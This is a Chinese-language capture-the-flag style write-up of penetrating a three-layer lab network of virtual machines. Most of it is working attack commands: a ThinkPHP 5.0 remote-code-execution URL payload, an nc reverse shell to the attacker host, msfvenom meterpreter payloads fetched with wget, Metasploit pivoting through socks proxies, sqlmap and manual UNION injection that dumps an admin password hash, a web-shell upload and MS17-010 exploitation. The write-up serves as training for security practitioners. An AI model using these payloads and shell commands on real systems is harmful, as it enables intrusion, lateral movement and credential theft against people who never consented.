CFS三层靶机渗透

重生信息安全

发布于 2020-03-09 19:02:46

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发布于 2020-03-09 19:02:46

文章被收录于专栏：重生信息安全重生信息安全

环境搭建

设置3个VMnet网卡

VMnet8设置为出网IP

VMnet8：子网IP：192.168.42.0    子网掩码：255.255.255.0

设置了 VMnet1（仅主机模式）、VMnet2（仅主机模式），这两个个网络是不出外网的，也就是当做我们的内网主机！其中它们的子网地址分别是：

VMnet1:  子网IP：192.168.22.0    子网掩码：255.255.255.0VMnet2:  子网IP：192.168.33.0    子网掩码：255.255.255.0

网络拓扑图

在宝塔面板设置好，对于的ip解析网站

对Target1_CentOS 7信息搜集

root@kepler:~/桌面# nmap -T4 -A 192.168.42.3 --script=vulnStarting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 17:24 CSTPre-scan script results:| broadcast-avahi-dos: |   Discovered hosts:|     224.0.0.251|   After NULL UDP avahi packet DoS (CVE-2011-1002).|_  Hosts are all up (not vulnerable).Stats: 0:08:44 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining)Stats: 0:08:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script ScanNSE Timing: About 99.67% done; ETC: 17:33 (0:00:02 remaining)Nmap scan report for 192.168.42.3Host is up (0.00066s latency).Not shown: 993 closed portsPORT     STATE SERVICE VERSION21/tcp   open  ftp     Pure-FTPd|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_sslv2-drown: 22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)|_clamav-exec: ERROR: Script execution failed (use -d to debug)| vulners: |   cpe:/a:openbsd:openssh:7.4: |       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919|_      CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-1590680/tcp   open  http    nginx|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_http-csrf: Couldn't find any CSRF vulnerabilities.|_http-dombased-xss: Couldn't find any DOM based XSS.| http-enum: |_  /robots.txt: Robots file|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.111/tcp  open  rpcbind 2-4 (RPC #100000)|_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   | rpcinfo:                                                                                                                                                                                                        |   program version    port/proto  service                                                                                                                                                                        |   100000  2,3,4        111/tcp   rpcbind                                                                                                                                                                        |   100000  2,3,4        111/udp   rpcbind                                                                                                                                                                        |   100000  3,4          111/tcp6  rpcbind                                                                                                                                                                        |_  100000  3,4          111/udp6  rpcbind                                                                                                                                                                        888/tcp  open  http    nginx|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_http-csrf: Couldn't find any CSRF vulnerabilities.|_http-dombased-xss: Couldn't find any DOM based XSS.|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.3306/tcp open  mysql   MySQL (unauthorized)|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)8888/tcp open  http    Ajenti http control panel|_clamav-exec: ERROR: Script execution failed (use -d to debug)|_http-csrf: Couldn't find any CSRF vulnerabilities.|_http-dombased-xss: Couldn't find any DOM based XSS.| http-enum: |_  /robots.txt: Robots file|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.MAC Address: 00:0C:29:78:B2:1B (VMware)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hop
TRACEROUTEHOP RTT     ADDRESS1   0.66 ms 192.168.42.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 564.68 seconds

先从80端口开始

发现它是ThinkPHP 框架，版本是 V5.0

想到了ThinkPHP-V5.0-RCE漏洞

根据POC进行命令执行

http://192.168.42.3/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接反弹shell

本地监听nc -lvp 6666nc 192.168.42.4 6666 -e /bin/bash

之后使用

python -c 'import pty;pty.spawn("/bin/bash")'

获取交互shell

经过测试目标机器，可以使用wget，利用msf生成elf马。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.42.4 LPORT=1111 -f elf >shell.elf

在本机创建临时服务

python -m SimpleHTTPServer 8080

在肉鸡上执行下载eif

wget http://192.168.42.4:8080/shell.elfchmod +x shell.elf

在kali机创建监听

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > show options 
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------

Payload options (linux/x64/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST                   yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name   --  ----   0   Wildcard Target

msf5 exploit(multi/handler) > set LHOST 192.168.42.4LHOST => 192.168.42.4msf5 exploit(multi/handler) > set LPORT 1111LPORT => 1111msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.42.4:1111

在肉鸡上运行elf

使用 MSF 中的这个命令获取当前的网段：

run get_local_subnets

添加路由

run autoroute -s 192.168.22.0/24

检查路由规则

route

之后background

使用

auxiliary/scanner/portscan/tcp

对192.168.22.0/24段进行扫描

发现第二层靶机机器

使用代理

auxiliary/server/socks4a

添加成功，之后在/etc/proxychains.conf配置代理

对第二层内网进行扫描

proxychains nmap -Pn -sT 192.168.22.2
因为socket代理不支持arp，icmp这种协议，所以用tcp扫描

之前已经扫描到有80端口

所以先查看80端口服务

使用dirb扫描目录

proxychains dirb http://192.168.22.2

顺便习惯性的查看robots.txt

发现后台

通过查看源代码看到提示

之后使用

proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" #测试注入点

发现是mysql数据库

proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword --dbs #查看数据库

proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables

proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns

proxychains sqlmap -u "http://192.168.22.2/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump

拿到账号密码

之前环境有问题于是手工注入

判断字段http://192.168.22.2/index.php?r=vul&keyword=1' order by 39 --+查库名http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(schema_name) from information_schema.schemata --+库名bagecms查表名http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(table_name) from information_schema.tables where table_schema='bagecms' --+表age_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload查字段名http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 group_concat(column_name) from information_schema.columns where table_name='bage_admin' --+字段id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time查值http://192.168.22.2/index.php?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,group_concat(id,username,password) from bage_admin --+值admin 46f94c8de14fb36680850768ff1b7f2a

只后到网站上md5解密

登录上网站后之后找可getshell的地方

看到模版地方，

之后

proxychains ./AntSword

打开蚁剑

连接后，使用msf生成elf，由于目标机器处于第二层内网当中

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=1234 -f elf > shell1234.elf使用proxychains msfconsole不然无法连接到

监听也使用bind_tcp正向连接

之后使用蚁剑上传shell1234.elf

chmod +x shell1234.elf./shell1234.elf

成功上线

添加路由

run autoroute -s 192.168.33.0/24

之后对内网进行扫描

auxiliary/scanner/smb/smb_version

在第三层内网下

发现Windows7机器

尝试ms17-010扫描一下试试

use auxiliary/scanner/smb/smb_ms17_010

使用

use exploit/windows/smb/ms17_010_psexec

使用payload 正向，这样可以顺利和shell建立连接

set payload windows/x64/meterpreter/bind_tcp

成功打到第三层内网

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原始发表：2020-03-04，如有侵权请联系 cloudcommunity@tencent.com 删除

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